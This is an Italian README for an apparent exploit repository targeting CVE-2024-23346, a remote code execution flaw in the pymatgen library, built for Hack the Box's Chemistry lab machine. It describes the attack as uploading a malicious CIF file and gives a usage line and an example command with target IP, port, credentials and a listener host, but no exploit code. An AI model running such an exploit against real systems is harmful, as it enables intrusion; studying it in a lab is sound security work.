davidaroca27/cve-2024-23346-exploit
Questo è un exploit per la nota vulnerabilità di Remote Code Execution (RCE) nella libreria Python `pymatgen` (CVE-2024-23346), che sfrutta il caricamento di un file `CIF` dannoso sul sito web `CIF Analyzer` ospitato sul target in esecuzione sulla macchina Chemistry di Hack the Box.
Questo è un exploit per la nota vulnerabilità di Remote Code Execution (RCE) nella libreria Python pymatgen (CVE-2024-23346) tramite il caricamento di un file CIF dannoso sul sito web CIF Analyzer ospitato sulla macchina Chemistry di Hack the Box.
Link NVD CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-23346
Utilizzo: CVE-2024-23346-exploit.py -t targetIP -P targetPORT -u loggedusername -p loggedpassword -l tun0ip/lhost
Esempio:
python3 CVE-2024-23346-exploit.py -t 10.10.11.38 -P 5000 -u ramon -p ramon -l 10.10.15.000
